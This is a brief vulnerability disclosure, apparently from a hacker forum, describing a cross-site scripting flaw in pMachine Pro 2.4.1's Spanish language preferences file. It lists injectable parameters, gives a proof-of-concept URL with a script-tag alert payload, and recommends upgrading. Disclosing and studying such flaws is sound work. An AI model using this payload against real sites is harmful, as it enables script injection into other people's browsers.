fuzion@rootmybox.org found:

pMachine Pro 2.4.1 Cross Site Scripting Vulnerability
http://pmachinepro.com/

Vulnerable:
[site]/[path]/[pm]/language/spanish/preferences.php

Variables:
L_PREF_GROUP[S100]
L_PREF_GROUP[S110]
L_PREF_NAME[810]
L_PREF_NAME[850]
etc

PoC:
http://[site]/[path]/[pm]/language/spanish/preferences.php?L_PREF_NAME[855]=<script>alert(ZOMG!);</script>

Notes:
[pm] may be renamed, but not likely
Register_globals: On

Fix:
Upgrade to ExpressionEngine, as pMachine is no longer under development.

~Greets~
d3hydr8, beenu, whoami, mozi, kasi, and everyone else at:
http://darkcode.com & http://rootmybox.org